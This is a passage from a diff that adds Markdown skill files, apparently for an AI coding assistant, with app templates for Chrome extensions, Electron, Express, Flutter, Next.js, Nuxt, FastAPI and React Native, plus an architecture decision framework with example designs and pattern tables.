+## Setup Steps
+
+1. `npm create vite {{name}} -- --template react-ts`
+2. Add Chrome types: `npm install -D @types/chrome`
+3. Configure Vite for multi-entry
+4. Create manifest.json
+5. `npm run dev` (watch mode)
+6. Load in Chrome: `chrome://extensions` → Load unpacked
+
+---
+
+## Development Tips
+
+| Task | Method |
+|------|--------|
+| Debug Popup | Right-click icon → Inspect |
+| Debug Background | Extensions page → Service worker |
+| Debug Content | DevTools console on page |
+| Hot Reload | `npm run dev` with watch |
+
+---
+
+## Best Practices
+
+- Use type-safe messaging
+- Wrap Chrome APIs in promises
+- Minimize permissions
+- Handle offline gracefully

skills/app-builder/templates/cli-tool/TEMPLATE.md

@@ -0,0 +1,88 @@
+---
+name: cli-tool
+description: Node.js CLI tool template principles. Commander.js, interactive prompts.
+---
+
+# CLI Tool Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Runtime | Node.js 20+ |
+| Language | TypeScript |
+| CLI Framework | Commander.js |
+| Prompts | Inquirer.js |
+| Output | chalk + ora |
+| Config | cosmiconfig |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── index.ts         # Entry point
+│   ├── cli.ts           # CLI setup
+│   ├── commands/        # Command handlers
+│   ├── lib/
+│   │   ├── config.ts    # Config loader
+│   │   └── logger.ts    # Styled output
+│   └── types/
+├── bin/
+│   └── cli.js           # Executable
+└── package.json
+```
+
+---
+
+## CLI Design Principles
+
+| Principle | Description |
+|-----------|-------------|
+| Subcommands | Group related actions |
+| Options | Flags with defaults |
+| Interactive | Prompts when needed |
+| Non-interactive | Support --yes flags |
+
+---
+
+## Key Components
+
+| Component | Purpose |
+|-----------|---------|
+| Commander | Command parsing |
+| Inquirer | Interactive prompts |
+| Chalk | Colored output |
+| Ora | Spinners/loading |
+| Cosmiconfig | Config file discovery |
+
+---
+
+## Setup Steps
+
+1. Create project directory
+2. `npm init -y`
+3. Install deps: `npm install commander @inquirer/prompts chalk ora cosmiconfig`
+4. Configure bin in package.json
+5. `npm link` for local testing
+
+---
+
+## Publishing
+
+```bash
+npm login
+npm publish
+```
+
+---
+
+## Best Practices
+
+- Provide helpful error messages
+- Support both interactive and non-interactive modes
+- Use consistent output styling
+- Validate inputs with Zod
+- Exit with proper codes (0 success, 1 error)

skills/app-builder/templates/electron-desktop/TEMPLATE.md

@@ -0,0 +1,88 @@
+---
+name: electron-desktop
+description: Electron desktop app template principles. Cross-platform, React, TypeScript.
+---
+
+# Electron Desktop App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Electron 28+ |
+| UI | React 18 |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Bundler | Vite + electron-builder |
+| IPC | Type-safe communication |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── electron/
+│   ├── main.ts          # Main process
+│   ├── preload.ts       # Preload script
+│   └── ipc/             # IPC handlers
+├── src/
+│   ├── App.tsx
+│   ├── components/
+│   │   ├── TitleBar.tsx # Custom title bar
+│   │   └── ...
+│   └── hooks/
+├── public/
+└── package.json
+```
+
+---
+
+## Process Model
+
+| Process | Role |
+|---------|------|
+| Main | Node.js, system access |
+| Renderer | Chromium, React UI |
+| Preload | Bridge, context isolation |
+
+---
+
+## Key Concepts
+
+| Concept | Purpose |
+|---------|---------|
+| contextBridge | Safe API exposure |
+| ipcMain/ipcRenderer | Process communication |
+| nodeIntegration: false | Security |
+| contextIsolation: true | Security |
+
+---
+
+## Setup Steps
+
+1. `npm create vite {{name}} -- --template react-ts`
+2. Install: `npm install -D electron electron-builder vite-plugin-electron`
+3. Create electron/ directory
+4. Configure main process
+5. `npm run electron:dev`
+
+---
+
+## Build Targets
+
+| Platform | Output |
+|----------|--------|
+| Windows | NSIS, Portable |
+| macOS | DMG, ZIP |
+| Linux | AppImage, DEB |
+
+---
+
+## Best Practices
+
+- Use preload script for main/renderer bridge
+- Type-safe IPC with typed handlers
+- Custom title bar for native feel
+- Handle window state (maximize, minimize)
+- Auto-updates with electron-updater

skills/app-builder/templates/express-api/TEMPLATE.md

@@ -0,0 +1,83 @@
+---
+name: express-api
+description: Express.js REST API template principles. TypeScript, Prisma, JWT.
+---
+
+# Express.js API Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Runtime | Node.js 20+ |
+| Framework | Express.js |
+| Language | TypeScript |
+| Database | PostgreSQL + Prisma |
+| Validation | Zod |
+| Auth | JWT + bcrypt |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── src/
+│   ├── app.ts           # Express setup
+│   ├── config/          # Environment
+│   ├── routes/          # Route handlers
+│   ├── controllers/     # Business logic
+│   ├── services/        # Data access
+│   ├── middleware/
+│   │   ├── auth.ts      # JWT verify
+│   │   ├── error.ts     # Error handler
+│   │   └── validate.ts  # Zod validation
+│   ├── schemas/         # Zod schemas
+│   └── utils/
+└── package.json
+```
+
+---
+
+## Middleware Stack
+
+| Order | Middleware |
+|-------|------------|
+| 1 | helmet (security) |
+| 2 | cors |
+| 3 | morgan (logging) |
+| 4 | body parsing |
+| 5 | routes |
+| 6 | error handler |
+
+---
+
+## API Response Format
+
+| Type | Structure |
+|------|-----------|
+| Success | `{ success: true, data: {...} }` |
+| Error | `{ error: "message", details: [...] }` |
+
+---
+
+## Setup Steps
+
+1. Create project directory
+2. `npm init -y`
+3. Install deps: `npm install express prisma zod bcrypt jsonwebtoken`
+4. Configure Prisma
+5. `npm run db:push`
+6. `npm run dev`
+
+---
+
+## Best Practices
+
+- Layer architecture (routes → controllers → services)
+- Validate all inputs with Zod
+- Centralized error handling
+- Environment-based config
+- Use Prisma for type-safe DB access

skills/app-builder/templates/flutter-app/TEMPLATE.md

@@ -0,0 +1,90 @@
+---
+name: flutter-app
+description: Flutter mobile app template principles. Riverpod, Go Router, clean architecture.
+---
+
+# Flutter App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Flutter 3.x |
+| Language | Dart 3.x |
+| State | Riverpod 2.0 |
+| Navigation | Go Router |
+| HTTP | Dio |
+| Storage | Hive |
+
+---
+
+## Directory Structure
+
+```
+project_name/
+├── lib/
+│   ├── main.dart
+│   ├── app.dart
+│   ├── core/
+│   │   ├── constants/
+│   │   ├── theme/
+│   │   ├── router/
+│   │   └── utils/
+│   ├── features/
+│   │   ├── auth/
+│   │   │   ├── data/
+│   │   │   ├── domain/
+│   │   │   └── presentation/
+│   │   └── home/
+│   ├── shared/
+│   │   ├── widgets/
+│   │   └── providers/
+│   └── services/
+│       ├── api/
+│       └── storage/
+├── test/
+└── pubspec.yaml
+```
+
+---
+
+## Architecture Layers
+
+| Layer | Contents |
+|-------|----------|
+| Presentation | Screens, Widgets, Providers |
+| Domain | Entities, Use Cases |
+| Data | Repositories, Models |
+
+---
+
+## Key Packages
+
+| Package | Purpose |
+|---------|---------|
+| flutter_riverpod | State management |
+| riverpod_annotation | Code generation |
+| go_router | Navigation |
+| dio | HTTP client |
+| freezed | Immutable models |
+| hive | Local storage |
+
+---
+
+## Setup Steps
+
+1. `flutter create {{name}} --org com.{{bundle}}`
+2. Update `pubspec.yaml`
+3. `flutter pub get`
+4. Run code generation: `dart run build_runner build`
+5. `flutter run`
+
+---
+
+## Best Practices
+
+- Feature-first folder structure
+- Riverpod for state, React Query pattern for server state
+- Freezed for immutable data classes
+- Go Router for declarative navigation
+- Material 3 theming

skills/app-builder/templates/monorepo-turborepo/TEMPLATE.md

@@ -0,0 +1,90 @@
+---
+name: monorepo-turborepo
+description: Turborepo monorepo template principles. pnpm workspaces, shared packages.
+---
+
+# Turborepo Monorepo Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Build System | Turborepo |
+| Package Manager | pnpm |
+| Apps | Next.js, Express |
+| Packages | Shared UI, Config, Types |
+| Language | TypeScript |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── apps/
+│   ├── web/             # Next.js app
+│   ├── api/             # Express API
+│   └── docs/            # Documentation
+├── packages/
+│   ├── ui/              # Shared components
+│   ├── config/          # ESLint, TS, Tailwind
+│   ├── types/           # Shared types
+│   └── utils/           # Shared utilities
+├── turbo.json
+├── pnpm-workspace.yaml
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Workspaces | pnpm-workspace.yaml |
+| Pipeline | turbo.json task graph |
+| Caching | Remote/local task caching |
+| Dependencies | `workspace:*` protocol |
+
+---
+
+## Turbo Pipeline
+
+| Task | Depends On |
+|------|------------|
+| build | ^build (dependencies first) |
+| dev | cache: false, persistent |
+| lint | ^build |
+| test | ^build |
+
+---
+
+## Setup Steps
+
+1. Create root directory
+2. `pnpm init`
+3. Create pnpm-workspace.yaml
+4. Create turbo.json
+5. Add apps and packages
+6. `pnpm install`
+7. `pnpm dev`
+
+---
+
+## Common Commands
+
+| Command | Description |
+|---------|-------------|
+| `pnpm dev` | Run all apps |
+| `pnpm build` | Build all |
+| `pnpm --filter @name/web dev` | Run specific app |
+| `pnpm --filter @name/web add axios` | Add dep to app |
+
+---
+
+## Best Practices
+
+- Shared configs in packages/config
+- Shared types in packages/types
+- Internal packages with `workspace:*`
+- Use Turbo remote caching for CI

skills/app-builder/templates/nextjs-fullstack/TEMPLATE.md

@@ -0,0 +1,82 @@
+---
+name: nextjs-fullstack
+description: Next.js full-stack template principles. App Router, Prisma, Tailwind.
+---
+
+# Next.js Full-Stack Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (App Router) |
+| Language | TypeScript |
+| Database | PostgreSQL + Prisma |
+| Styling | Tailwind CSS |
+| Auth | Clerk (optional) |
+| Validation | Zod |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── src/
+│   ├── app/
+│   │   ├── layout.tsx
+│   │   ├── page.tsx
+│   │   ├── globals.css
+│   │   └── api/
+│   ├── components/
+│   │   └── ui/
+│   ├── lib/
+│   │   ├── db.ts        # Prisma client
+│   │   └── utils.ts
+│   └── types/
+├── .env.example
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Server Components | Default, fetch data |
+| Server Actions | Form mutations |
+| Route Handlers | API endpoints |
+| Prisma | Type-safe ORM |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma connection |
+| NEXT_PUBLIC_APP_URL | Public URL |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. `npm install prisma @prisma/client zod`
+3. `npx prisma init`
+4. Configure schema
+5. `npm run db:push`
+6. `npm run dev`
+
+---
+
+## Best Practices
+
+- Server Components by default
+- Server Actions for mutations
+- Prisma for type-safe DB
+- Zod for validation
+- Edge runtime where possible

skills/app-builder/templates/nextjs-saas/TEMPLATE.md

@@ -0,0 +1,100 @@
+---
+name: nextjs-saas
+description: Next.js SaaS template principles. Auth, payments, email.
+---
+
+# Next.js SaaS Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (App Router) |
+| Auth | NextAuth.js v5 |
+| Payments | Stripe |
+| Database | PostgreSQL + Prisma |
+| Email | Resend |
+| UI | Tailwind (ASK USER: shadcn/Headless UI/Custom?) |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+├── src/
+│   ├── app/
+│   │   ├── (auth)/      # Login, register
+│   │   ├── (dashboard)/ # Protected routes
+│   │   ├── (marketing)/ # Landing, pricing
+│   │   └── api/
+│   │       ├── auth/[...nextauth]/
+│   │       └── webhooks/stripe/
+│   ├── components/
+│   │   ├── auth/
+│   │   ├── billing/
+│   │   └── dashboard/
+│   ├── lib/
+│   │   ├── auth.ts      # NextAuth config
+│   │   ├── stripe.ts    # Stripe client
+│   │   └── email.ts     # Resend client
+│   └── config/
+│       └── subscriptions.ts
+└── package.json
+```
+
+---
+
+## SaaS Features
+
+| Feature | Implementation |
+|---------|---------------|
+| Auth | NextAuth + OAuth |
+| Subscriptions | Stripe Checkout |
+| Billing Portal | Stripe Portal |
+| Webhooks | Stripe events |
+| Email | Transactional via Resend |
+
+---
+
+## Database Schema
+
+| Model | Fields |
+|-------|--------|
+| User | id, email, stripeCustomerId, subscriptionId |
+| Account | OAuth provider data |
+| Session | User sessions |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma |
+| NEXTAUTH_SECRET | Auth |
+| STRIPE_SECRET_KEY | Payments |
+| STRIPE_WEBHOOK_SECRET | Webhooks |
+| RESEND_API_KEY | Email |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. Install: `npm install next-auth @auth/prisma-adapter stripe resend`
+3. Setup Stripe products/prices
+4. Configure environment
+5. `npm run db:push`
+6. `npm run stripe:listen` (webhooks)
+7. `npm run dev`
+
+---
+
+## Best Practices
+
+- Route groups for layout separation
+- Stripe webhooks for subscription sync
+- NextAuth with Prisma adapter
+- Email templates with React Email

skills/app-builder/templates/nextjs-static/TEMPLATE.md

@@ -0,0 +1,106 @@
+---
+name: nextjs-static
+description: Next.js static site template principles. Landing pages, portfolios, marketing.
+---
+
+# Next.js Static Site Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Next.js 14 (Static Export) |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Animations | Framer Motion |
+| Icons | Lucide React |
+| SEO | Next SEO |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── app/
+│   │   ├── layout.tsx
+│   │   ├── page.tsx      # Landing
+│   │   ├── about/
+│   │   ├── contact/
+│   │   └── blog/
+│   ├── components/
+│   │   ├── layout/       # Header, Footer
+│   │   ├── sections/     # Hero, Features, CTA
+│   │   └── ui/
+│   └── lib/
+├── content/              # Markdown content
+├── public/
+└── next.config.js
+```
+
+---
+
+## Static Export Config
+
+```javascript
+// next.config.js
+const nextConfig = {
+  output: 'export',
+  images: { unoptimized: true },
+  trailingSlash: true,
+};
+```
+
+---
+
+## Landing Page Sections
+
+| Section | Purpose |
+|---------|---------|
+| Hero | Main headline, CTA |
+| Features | Product benefits |
+| Testimonials | Social proof |
+| Pricing | Plans |
+| CTA | Final conversion |
+
+---
+
+## Animation Patterns
+
+| Pattern | Use |
+|---------|-----|
+| Fade up | Content entry |
+| Stagger | List items |
+| Scroll reveal | On viewport |
+| Hover | Interactive feedback |
+
+---
+
+## Setup Steps
+
+1. `npx create-next-app {{name}} --typescript --tailwind --app`
+2. Install: `npm install framer-motion lucide-react next-seo`
+3. Configure static export
+4. Create sections
+5. `npm run dev`
+
+---
+
+## Deployment
+
+| Platform | Method |
+|----------|--------|
+| Vercel | Auto |
+| Netlify | Auto |
+| GitHub Pages | gh-pages branch |
+| Any host | Upload `out` folder |
+
+---
+
+## Best Practices
+
+- Static export for maximum performance
+- Framer Motion for premium animations
+- Responsive mobile-first design
+- SEO metadata on every page

skills/app-builder/templates/nuxt-app/TEMPLATE.md

@@ -0,0 +1,101 @@
+---
+name: nuxt-app
+description: Nuxt 3 full-stack template. Vue 3, Pinia, Tailwind, Prisma.
+---
+
+# Nuxt 3 Full-Stack Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Nuxt 3 |
+| Language | TypeScript |
+| UI | Vue 3 (Composition API) |
+| State | Pinia |
+| Database | PostgreSQL + Prisma |
+| Styling | Tailwind CSS |
+| Validation | Zod |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── prisma/
+│   └── schema.prisma
+├── server/
+│   ├── api/
+│   │   └── [resource]/
+│   │       └── index.ts
+│   └── utils/
+│       └── db.ts         # Prisma client
+├── composables/
+│   └── useAuth.ts
+├── stores/
+│   └── user.ts           # Pinia store
+├── components/
+│   └── ui/
+├── pages/
+│   ├── index.vue
+│   └── [...slug].vue
+├── layouts/
+│   └── default.vue
+├── assets/
+│   └── css/
+│       └── main.css
+├── .env.example
+├── nuxt.config.ts
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Auto-imports | Components, composables, utils |
+| File-based routing | pages/ → routes |
+| Server Routes | server/api/ → API endpoints |
+| Composables | Reusable reactive logic |
+| Pinia | State management |
+
+---
+
+## Environment Variables
+
+| Variable | Purpose |
+|----------|---------|
+| DATABASE_URL | Prisma connection |
+| NUXT_PUBLIC_APP_URL | Public URL |
+
+---
+
+## Setup Steps
+
+1. `npx nuxi@latest init {{name}}`
+2. `cd {{name}}`
+3. `npm install @pinia/nuxt @prisma/client prisma zod`
+4. `npm install -D @nuxtjs/tailwindcss`
+5. Add modules to `nuxt.config.ts`:
+   ```ts
+   modules: ['@pinia/nuxt', '@nuxtjs/tailwindcss']
+   ```
+6. `npx prisma init`
+7. Configure schema
+8. `npx prisma db push`
+9. `npm run dev`
+
+---
+
+## Best Practices
+
+- Use `<script setup>` for components
+- Composables for reusable logic
+- Pinia stores in `stores/` folder
+- Server routes for API logic
+- Auto-import for clean code
+- TypeScript for type safety
+- See `@[skills/vue-expert]` for Vue patterns

skills/app-builder/templates/python-fastapi/TEMPLATE.md

@@ -0,0 +1,83 @@
+---
+name: python-fastapi
+description: FastAPI REST API template principles. SQLAlchemy, Pydantic, Alembic.
+---
+
+# FastAPI API Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | FastAPI |
+| Language | Python 3.11+ |
+| ORM | SQLAlchemy 2.0 |
+| Validation | Pydantic v2 |
+| Migrations | Alembic |
+| Auth | JWT + passlib |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── alembic/             # Migrations
+├── app/
+│   ├── main.py          # FastAPI app
+│   ├── config.py        # Settings
+│   ├── database.py      # DB connection
+│   ├── models/          # SQLAlchemy models
+│   ├── schemas/         # Pydantic schemas
+│   ├── routers/         # API routes
+│   ├── services/        # Business logic
+│   ├── dependencies/    # DI
+│   └── utils/
+├── tests/
+├── .env.example
+└── requirements.txt
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Async | async/await throughout |
+| Dependency Injection | FastAPI Depends |
+| Pydantic v2 | Validation + serialization |
+| SQLAlchemy 2.0 | Async sessions |
+
+---
+
+## API Structure
+
+| Layer | Responsibility |
+|-------|---------------|
+| Routers | HTTP handling |
+| Dependencies | Auth, validation |
+| Services | Business logic |
+| Models | Database entities |
+| Schemas | Request/response |
+
+---
+
+## Setup Steps
+
+1. `python -m venv venv`
+2. `source venv/bin/activate`
+3. `pip install fastapi uvicorn sqlalchemy alembic pydantic`
+4. Create `.env`
+5. `alembic upgrade head`
+6. `uvicorn app.main:app --reload`
+
+---
+
+## Best Practices
+
+- Use async everywhere
+- Pydantic v2 for validation
+- SQLAlchemy 2.0 async sessions
+- Alembic for migrations
+- pytest-asyncio for tests

skills/app-builder/templates/react-native-app/TEMPLATE.md

@@ -0,0 +1,93 @@
+---
+name: react-native-app
+description: React Native mobile app template principles. Expo, TypeScript, navigation.
+---
+
+# React Native App Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | React Native + Expo |
+| Language | TypeScript |
+| Navigation | Expo Router |
+| State | Zustand + React Query |
+| Styling | NativeWind |
+| Testing | Jest + RNTL |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── app/                 # Expo Router (file-based)
+│   ├── _layout.tsx      # Root layout
+│   ├── index.tsx        # Home
+│   ├── (tabs)/          # Tab navigation
+│   └── [id].tsx         # Dynamic route
+├── components/
+│   ├── ui/              # Reusable
+│   └── features/
+├── hooks/
+├── lib/
+│   ├── api.ts
+│   └── storage.ts
+├── store/
+├── constants/
+└── app.json
+```
+
+---
+
+## Navigation Patterns
+
+| Pattern | Use |
+|---------|-----|
+| Stack | Page hierarchy |
+| Tabs | Bottom navigation |
+| Drawer | Side menu |
+| Modal | Overlay screens |
+
+---
+
+## State Management
+
+| Type | Tool |
+|------|------|
+| Local | Zustand |
+| Server | React Query |
+| Forms | React Hook Form |
+| Storage | Expo SecureStore |
+
+---
+
+## Key Packages
+
+| Package | Purpose |
+|---------|---------|
+| expo-router | File-based routing |
+| zustand | Local state |
+| @tanstack/react-query | Server state |
+| nativewind | Tailwind styling |
+| expo-secure-store | Secure storage |
+
+---
+
+## Setup Steps
+
+1. `npx create-expo-app {{name}} -t expo-template-blank-typescript`
+2. `npx expo install expo-router react-native-safe-area-context`
+3. Install state: `npm install zustand @tanstack/react-query`
+4. `npx expo start`
+
+---
+
+## Best Practices
+
+- Expo Router for navigation
+- Zustand for local, React Query for server state
+- NativeWind for consistent styling
+- Expo SecureStore for tokens
+- Test on both iOS and Android

skills/architecture/SKILL.md

@@ -0,0 +1,55 @@
+---
+name: architecture
+description: Architectural decision-making framework. Requirements analysis, trade-off evaluation, ADR documentation. Use when making architecture decisions or analyzing system design.
+allowed-tools: Read, Glob, Grep
+---
+
+# Architecture Decision Framework
+
+> "Requirements drive architecture. Trade-offs inform decisions. ADRs capture rationale."
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `context-discovery.md` | Questions to ask, project classification | Starting architecture design |
+| `trade-off-analysis.md` | ADR templates, trade-off framework | Documenting decisions |
+| `pattern-selection.md` | Decision trees, anti-patterns | Choosing patterns |
+| `examples.md` | MVP, SaaS, Enterprise examples | Reference implementations |
+| `patterns-reference.md` | Quick lookup for patterns | Pattern comparison |
+
+---
+
+## 🔗 Related Skills
+
+| Skill | Use For |
+|-------|---------|
+| `@[skills/database-design]` | Database schema design |
+| `@[skills/api-patterns]` | API design patterns |
+| `@[skills/deployment-procedures]` | Deployment architecture |
+
+---
+
+## Core Principle
+
+**"Simplicity is the ultimate sophistication."**
+
+- Start simple
+- Add complexity ONLY when proven necessary
+- You can always add patterns later
+- Removing complexity is MUCH harder than adding it
+
+---
+
+## Validation Checklist
+
+Before finalizing architecture:
+
+- [ ] Requirements clearly understood
+- [ ] Constraints identified
+- [ ] Each decision has trade-off analysis
+- [ ] Simpler alternatives considered
+- [ ] ADRs written for significant decisions
+- [ ] Team expertise matches chosen patterns

skills/architecture/context-discovery.md

@@ -0,0 +1,43 @@
+# Context Discovery
+
+> Before suggesting any architecture, gather context.
+
+## Question Hierarchy (Ask User FIRST)
+
+1. **Scale**
+   - How many users? (10, 1K, 100K, 1M+)
+   - Data volume? (MB, GB, TB)
+   - Transaction rate? (per second/minute)
+
+2. **Team**
+   - Solo developer or team?
+   - Team size and expertise?
+   - Distributed or co-located?
+
+3. **Timeline**
+   - MVP/Prototype or long-term product?
+   - Time to market pressure?
+
+4. **Domain**
+   - CRUD-heavy or business logic complex?
+   - Real-time requirements?
+   - Compliance/regulations?
+
+5. **Constraints**
+   - Budget limitations?
+   - Legacy systems to integrate?
+   - Technology stack preferences?
+
+## Project Classification Matrix
+
+```
+                    MVP              SaaS           Enterprise
+┌─────────────────────────────────────────────────────────────┐
+│ Scale        │ <1K           │ 1K-100K      │ 100K+        │
+│ Team         │ Solo          │ 2-10         │ 10+          │
+│ Timeline     │ Fast (weeks)  │ Medium (months)│ Long (years)│
+│ Architecture │ Simple        │ Modular      │ Distributed  │
+│ Patterns     │ Minimal       │ Selective    │ Comprehensive│
+│ Example      │ Next.js API   │ NestJS       │ Microservices│
+└─────────────────────────────────────────────────────────────┘
+```

skills/architecture/examples.md

@@ -0,0 +1,94 @@
+# Architecture Examples
+
+> Real-world architecture decisions by project type.
+
+---
+
+## Example 1: MVP E-commerce (Solo Developer)
+
+```yaml
+Requirements:
+  - <1000 users initially
+  - Solo developer
+  - Fast to market (8 weeks)
+  - Budget-conscious
+
+Architecture Decisions:
+  App Structure: Monolith (simpler for solo)
+  Framework: Next.js (full-stack, fast)
+  Data Layer: Prisma direct (no over-abstraction)
+  Authentication: JWT (simpler than OAuth)
+  Payment: Stripe (hosted solution)
+  Database: PostgreSQL (ACID for orders)
+
+Trade-offs Accepted:
+  - Monolith → Can't scale independently (team doesn't justify it)
+  - No Repository → Less testable (simple CRUD doesn't need it)
+  - JWT → No social login initially (can add later)
+
+Future Migration Path:
+  - Users > 10K → Extract payment service
+  - Team > 3 → Add Repository pattern
+  - Social login requested → Add OAuth
+```
+
+---
+
+## Example 2: SaaS Product (5-10 Developers)
+
+```yaml
+Requirements:
+  - 1K-100K users
+  - 5-10 developers
+  - Long-term (12+ months)
+  - Multiple domains (billing, users, core)
+
+Architecture Decisions:
+  App Structure: Modular Monolith (team size optimal)
+  Framework: NestJS (modular by design)
+  Data Layer: Repository pattern (testing, flexibility)
+  Domain Model: Partial DDD (rich entities)
+  Authentication: OAuth + JWT
+  Caching: Redis
+  Database: PostgreSQL
+
+Trade-offs Accepted:
+  - Modular Monolith → Some module coupling (microservices not justified)
+  - Partial DDD → No full aggregates (no domain experts)
+  - RabbitMQ later → Initial synchronous (add when proven needed)
+
+Migration Path:
+  - Team > 10 → Consider microservices
+  - Domains conflict → Extract bounded contexts
+  - Read performance issues → Add CQRS
+```
+
+---
+
+## Example 3: Enterprise (100K+ Users)
+
+```yaml
+Requirements:
+  - 100K+ users
+  - 10+ developers
+  - Multiple business domains
+  - Different scaling needs
+  - 24/7 availability
+
+Architecture Decisions:
+  App Structure: Microservices (independent scale)
+  API Gateway: Kong/AWS API GW
+  Domain Model: Full DDD
+  Consistency: Event-driven (eventual OK)
+  Message Bus: Kafka
+  Authentication: OAuth + SAML (enterprise SSO)
+  Database: Polyglot (right tool per job)
+  CQRS: Selected services
+
+Operational Requirements:
+  - Service mesh (Istio/Linkerd)
+  - Distributed tracing (Jaeger/Tempo)
+  - Centralized logging (ELK/Loki)
+  - Circuit breakers (Resilience4j)
+  - Kubernetes/Helm
+```

skills/architecture/pattern-selection.md

@@ -0,0 +1,68 @@
+# Pattern Selection Guidelines
+
+> Decision trees for choosing architectural patterns.
+
+## Main Decision Tree
+
+```
+START: What's your MAIN concern?
+
+┌─ Data Access Complexity?
+│  ├─ HIGH (complex queries, testing needed)
+│  │  → Repository Pattern + Unit of Work
+│  │  VALIDATE: Will data source change frequently?
+│  │     ├─ YES → Repository worth the indirection
+│  │     └─ NO  → Consider simpler ORM direct access
+│  └─ LOW (simple CRUD, single database)
+│     → ORM directly (Prisma, Drizzle)
+│     Simpler = Better, Faster
+│
+├─ Business Rules Complexity?
+│  ├─ HIGH (domain logic, rules vary by context)
+│  │  → Domain-Driven Design
+│  │  VALIDATE: Do you have domain experts on team?
+│  │     ├─ YES → Full DDD (Aggregates, Value Objects)
+│  │     └─ NO  → Partial DDD (rich entities, clear boundaries)
+│  └─ LOW (mostly CRUD, simple validation)
+│     → Transaction Script pattern
+│     Simpler = Better, Faster
+│
+├─ Independent Scaling Needed?
+│  ├─ YES (different components scale differently)
+│  │  → Microservices WORTH the complexity
+│  │  REQUIREMENTS (ALL must be true):
+│  │    - Clear domain boundaries
+│  │    - Team > 10 developers
+│  │    - Different scaling needs per service
+│  │  IF NOT ALL MET → Modular Monolith instead
+│  └─ NO (everything scales together)
+│     → Modular Monolith
+│     Can extract services later when proven needed
+│
+└─ Real-time Requirements?
+   ├─ HIGH (immediate updates, multi-user sync)
+   │  → Event-Driven Architecture
+   │  → Message Queue (RabbitMQ, Redis, Kafka)
+   │  VALIDATE: Can you handle eventual consistency?
+   │     ├─ YES → Event-driven valid
+   │     └─ NO  → Synchronous with polling
+   └─ LOW (eventual consistency acceptable)
+      → Synchronous (REST/GraphQL)
+      Simpler = Better, Faster
+```
+
+## The 3 Questions (Before ANY Pattern)
+
+1. **Problem Solved**: What SPECIFIC problem does this pattern solve?
+2. **Simpler Alternative**: Is there a simpler solution?
+3. **Deferred Complexity**: Can we add this LATER when needed?
+
+## Red Flags (Anti-patterns)
+
+| Pattern | Anti-pattern | Simpler Alternative |
+|---------|-------------|-------------------|
+| Microservices | Premature splitting | Start monolith, extract later |
+| Clean/Hexagonal | Over-abstraction | Concrete first, interfaces later |
+| Event Sourcing | Over-engineering | Append-only audit log |
+| CQRS | Unnecessary complexity | Single model |
+| Repository | YAGNI for simple CRUD | ORM direct access |

skills/architecture/patterns-reference.md

@@ -0,0 +1,50 @@
+# Architecture Patterns Reference
+
+> Quick reference for common patterns with usage guidance.
+
+## Data Access Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Active Record** | Simple CRUD, rapid prototyping | Complex queries, multiple sources | Low |
+| **Repository** | Testing needed, multiple sources | Simple CRUD, single database | Medium |
+| **Unit of Work** | Complex transactions | Simple operations | High |
+| **Data Mapper** | Complex domain, performance | Simple CRUD, rapid dev | High |
+
+## Domain Logic Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Transaction Script** | Simple CRUD, procedural | Complex business rules | Low |
+| **Table Module** | Record-based logic | Rich behavior needed | Low |
+| **Domain Model** | Complex business logic | Simple CRUD | Medium |
+| **DDD (Full)** | Complex domain, domain experts | Simple domain, no experts | High |
+
+## Distributed System Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
+| **Modular Monolith** | Small teams, unclear boundaries | Clear contexts, different scales | Medium |
+| **Microservices** | Different scales, large teams | Small teams, simple domain | Very High |
+| **Event-Driven** | Real-time, loose coupling | Simple workflows, strong consistency | High |
+| **CQRS** | Read/write performance diverges | Simple CRUD, same model | High |
+| **Saga** | Distributed transactions | Single database, simple ACID | High |
+
+## API Patterns
+
+| Pattern | When to Use | When NOT to Use | Complexity |
+|---------|-------------|-----------------|------------|
